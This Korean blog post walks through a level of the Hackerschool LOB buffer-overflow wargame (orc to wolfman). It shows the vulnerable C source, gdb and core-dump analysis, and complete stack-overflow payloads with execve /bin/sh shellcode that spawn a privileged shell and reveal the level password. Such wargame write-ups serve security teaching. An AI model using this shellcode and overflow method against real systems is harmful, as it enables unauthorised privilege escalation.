[해커스쿨 LOB] Level 5: Orc >> Wolfman
두비니
·2019. 11. 6. 03:16
Level 5. Orc >> Wolfman
Theme: Egghunter + Buffer Hunter
로그인합시다
id: orc
pw: cantata
디렉토리 확인! (bash2도 까먹지 맙시다!)
[orc@localhost orc]$ bash2
[orc@localhost orc]$ ls
wolfman wolfman.c
[orc@localhost orc]$ cat wolfman.c
/*
The Lord of the BOF : The Fellowship of the BOF
- wolfman
- egghunter + buffer hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
조건은 다음과 같네요.
1. 환경변수 사용 불가능 (egghunter)
2. 버퍼에 입력 불가능 (buffer hunter)
3. argv[1]의 48번째 바이트는 '\xbf'여야 함 (stack is still your friend)
이전 문제에서는 buffer에다가 쉘코드를 입력했는데 이제는 buffer도 이용할 수 없네요..
그러면 쉘코드를 어디에 입력하면 좋을까요? 여기서 잠시 혼자 생각해보면 좋을 것 같습니다.
보면 strcpy를 통해 argv[1]에서 buffer에 입력하는데, 여기서 buffer hunter는 buffer의 내용만 날려버리기때문에 argv[1]에는 우리가 입력한 값이 그대로 남아있으므로, argv[1]의 주소를 알아내면 되겠습니다.
(+ ret뒤의 공간도 이용해도 좋습니다.)
이해가 어렵다면 다음 스택 구조를 봅시다.
buffer는 비워지지만, argv[1]자체의 메모리는 비워지지 않기때문에 사용할 수 있다는 개념입니다.
+) 혹시나 왜 argc와 argv는 왜 저렇게 쌓이나요?하고 궁금하신 분들
이건 기본적으로 프로그램이 생성될 때 스택 프레임이 어떻게 생성되는지에 대한 이해가 있어야 합니다.
구글링을 해보거나 제가 입이 마르고 닳도록 추천하는 달고나-"해커 지망생이 알아야 할 bof 기초" 라는 문서 읽어보세요. 문서같은 경우는 구글링하면 바로 나옵니당.
아무튼, 페이로드는 다음과 같이 작성할 수 있겠죠?
`python -c 'print "\x90"*19 + "shellcode" + "argv[1]주소"'`
그럼 argv[1]주소와 shellcode만 구하면 끝인데,
shellcode는 항상 써오던거 쓸것이니 pass.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
그러면 argv[1]의 주소는 어떻게 구해야 할까요?
뭐 여러가지 방법이 있지만, 결국 buffer hunter를 진행한 후에 내가 입력한 값이 남아있는 곳이 argv[1]일 것이기 때문에, 이때 breakpoint를 걸어서 레지스터를 확인해주면 되겠다고 생각했습니다.
[orc@localhost orc]$ cp wolfman lolfman
[orc@localhost orc]$ gdb -q lolfman
(gdb) disas main
Dump of assembler code for function main:
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %esp,%ebp
...(생략)
0x80485d8 <main+216>: push $0x0
---Type <return> to continue, or q <return> to quit---
0x80485da <main+218>: lea 0xffffffd8(%ebp),%eax
0x80485dd <main+221>: push %eax
0x80485de <main+222>: call 0x8048430 <memset>
0x80485e3 <main+227>: add $0xc,%esp
0x80485e6 <main+230>: leave
0x80485e7 <main+231>: ret
(gdb) b * main+230
Breakpoint 1 at 0x80485e6
우리는 buffer hunter뒤의 상황이 궁금한 것이기때문에 함수 에필로그 바로 직전에 브레이크포인트를 잡았습니다. 이제 값을 집어넣어서 상황을 봅시다
(gdb) r `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xbf\xbf\xbf\xbf"'`
Starting program: /home/orc/lolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xbf\xbf\xbf\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀▒▒▒▒
Breakpoint 1, 0x80485e6 in main ()
(gdb) x/100x $esp
0xbffffb1c: 0x00000013 0x00000000 0x00000000 0x00000000
0xbffffb2c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb3c: 0x00000000 0x00000000 0x00000000 0x80cd0bb0
0xbffffb4c: 0xbfbfbfbf 0x00000000 0xbffffb94 0xbffffba0
0xbffffb5c: 0x40013868 0x00000002 0x08048450 0x00000000
0xbffffb6c: 0x08048471 0x08048500 0x00000002 0xbffffb94
0xbffffb7c: 0x08048390 0x0804861c 0x4000ae60 0xbffffb8c
0xbffffb8c: 0x40013e90 0x00000002 0xbffffc7d 0xbffffc8f
0xbffffb9c: 0x00000000 0xbffffcc0 0xbffffce2 0xbffffcec
0xbffffbac: 0xbffffcfa 0xbffffd19 0xbffffd25 0xbffffd3e
0xbffffbbc: 0xbffffd57 0xbffffd62 0xbffffd70 0xbffffdaf
0xbffffbcc: 0xbffffdbe 0xbffffdd3 0xbffffde3 0xbffffdec
0xbffffbdc: 0xbffffe07 0xbffffe12 0xbffffe1f 0xbffffe27
0xbffffbec: 0x00000000 0x00000003 0x08048034 0x00000004
0xbffffbfc: 0x00000020 0x00000005 0x00000006 0x00000006
0xbffffc0c: 0x00001000 0x00000007 0x40000000 0x00000008
0xbffffc1c: 0x00000000 0x00000009 0x08048450 0x0000000b
0xbffffc2c: 0x000001f8 0x0000000c 0x000001f8 0x0000000d
0xbffffc3c: 0x000001f8 0x0000000e 0x000001f8 0x00000010
0xbffffc4c: 0x0fabfbff 0x0000000f 0xbffffc78 0x00000000
0xbffffc5c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc6c: 0x00000000 0x00000000 0x00000000 0x36383669
0xbffffc7c: 0x6f682f00 0x6f2f656d 0x6c2f6372 0x6d666c6f
---Type <return> to continue, or q <return> to quit---
0xbffffc8c: 0x90006e61 0x90909090 0x90909090 0x90909090
0xbffffc9c: 0x90909090 0xc0319090 0x2f2f6850 0x2f686873
(gdb)
일부러 생략없이 전체를 들고왔습니다. 보면 0xbffffb4c에서 그 전의 buffer부분은 buffer hunter에 의해 0으로 초기화가 된 것을 알 수 있고, 0xbffffb4c는 0xbfbfbfbf인걸 보아 ret의 주소네요.
그리고 0xbffffc9c에서 다시 쉘코드가 다시 써지는것으로 보아 저부분이 argv[1]임을 알 수 있습니다! 따라서 저는 0xbffffc9c를 이용하도록 하겠습니다.
::페이로드::
./wolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x9c\xfc\xff\xbf"'`
[orc@localhost orc]$ ./wolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x9c\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀▒▒▒▒
Segmentation fault
음~안되구
전 게시글에서도 한번 언급한거 같은데 이는 실제 동적 프로세서와 어느정도 바이너리 주소의 차이가 생겨서 그렇습니다. 이럴때 코드에 주소를 찾는 코드를 삽입해서 풀어도 되지만, core를 사용하는 방법을 훨씬 더 추천합니다. core를 사용하는 방법은 밑 링크 참조.
(링크삽입전)
core는 쉽게 말해서 프로그램이 터졌을 때, 어디서 왜 터졌는지 확인할 수 있는 파일을 남겨줍니다. 아무튼 core를 분석합시다.
[orc@localhost orc]$ ./lolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀▒▒▒▒
Segmentation fault (core dumped)
[orc@localhost orc]$ gdb -q -c core
Core was generated by `./lolfman ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀▒▒▒▒'.
Program terminated with signal 11, Segmentation fault.
core를 gdb로 분석하게 하는 명령어는 gdb -q -c core입니다. core의 편한 점은 따로 브레이크포인트를 설정하지 않아도 딱 터진 부분에서 분석할 수 있게 해준다는 점입니다.
#0 0xbffffff4 in ?? ()
(gdb) x/100x $esp
0xbffffb10: 0x00000000 0xbffffb54 0xbffffb60 0x40013868
0xbffffb20: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffffb30: 0x08048500 0x00000002 0xbffffb54 0x08048390
0xbffffb40: 0x0804861c 0x4000ae60 0xbffffb4c 0x40013e90
0xbffffb50: 0x00000002 0xbffffc50 0xbffffc5a 0x00000000
0xbffffb60: 0xbffffc8b 0xbffffc99 0xbffffcb2 0xbffffcd1
0xbffffb70: 0xbffffcf3 0xbffffcfc 0xbffffebf 0xbffffede
0xbffffb80: 0xbffffef7 0xbfffff0c 0xbfffff27 0xbfffff32
0xbffffb90: 0xbfffff3e 0xbfffff46 0xbfffff50 0xbfffff60
0xbffffba0: 0xbfffff6e 0xbfffff7c 0xbfffff8d 0xbfffff98
0xbffffbb0: 0xbfffffa7 0xbfffffe6 0x00000000 0x00000003
0xbffffbc0: 0x08048034 0x00000004 0x00000020 0x00000005
0xbffffbd0: 0x00000006 0x00000006 0x00001000 0x00000007
0xbffffbe0: 0x40000000 0x00000008 0x00000000 0x00000009
0xbffffbf0: 0x08048450 0x0000000b 0x000001f8 0x0000000c
0xbffffc00: 0x000001f8 0x0000000d 0x000001f8 0x0000000e
0xbffffc10: 0x000001f8 0x00000010 0x0fabfbff 0x0000000f
0xbffffc20: 0xbffffc4b 0x00000000 0x00000000 0x00000000
0xbffffc30: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc40: 0x00000000 0x00000000 0x69000000 0x00363836
0xbffffc50: 0x6f6c2f2e 0x616d666c 0x9090006e 0x90909090
0xbffffc60: 0x90909090 0x90909090 0x90909090 0x50c03190
0xbffffc70: 0x732f2f68 0x622f6868 0xe3896e69 0xe1895350
0xbffffc80: 0x0bb0c289 0xfc9080cd 0x0000bfff 0x00000000
0xbffffc90: 0x00000000 0x00000000 0x00000000 0x00000000
여기도 일부러 디버거의 전문을 넣었습니다. 레지스터를 잘 보면 여기서는 0x90이 0xbffffc50줄에서 시작하는 것을 볼 수 있습니다. 반면에 내가 gdb에서 분석해서 넣은 0xbfffffc90을 보면 그냥 0값으로 차있는 것을 확인할 수 있네요.
그래서 파일이 0xbfffffc90로 뛰었더니 아무것도 없더라,,,이게 뭔 주소냐 하면서 segmentation fault를 띄우는 것입니다.
이런식으로 어느정도 주소의 차이가 생기기 때문에 nop sled를 100개, 1000개씩 와장창 많이 넣습니다.
아무튼 실제 주소는 넉넉잡아 0xbffffc60으로 들고가겠습니다.
::final 페이로드::
./wolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x60\xfc\xff\xbf"'`
[orc@localhost orc]$ ./wolfman `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x60\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀`▒▒▒
bash$ id
uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc)
bash$ my-pass
euid = 505
love eyuna
다음단계 기릿
'War Games > 해커스쿨 LOB' 카테고리의 다른 글
[해커스쿨 LOB] Level7: Darkelf >> Orge (0) | 2020.07.19 |
---|---|
[해커스쿨 LOB] Level6: Wolfman >> Darkelf (0) | 2020.07.17 |
[해커스쿨 LOB] Level4: goblin >> orc (3) | 2019.09.25 |
[해커스쿨 LOB] Level3: cobolt >> goblin (0) | 2019.09.24 |
[해커스쿨 LOB] Level2: gremlin >> cobolt (1) | 2019.09.24 |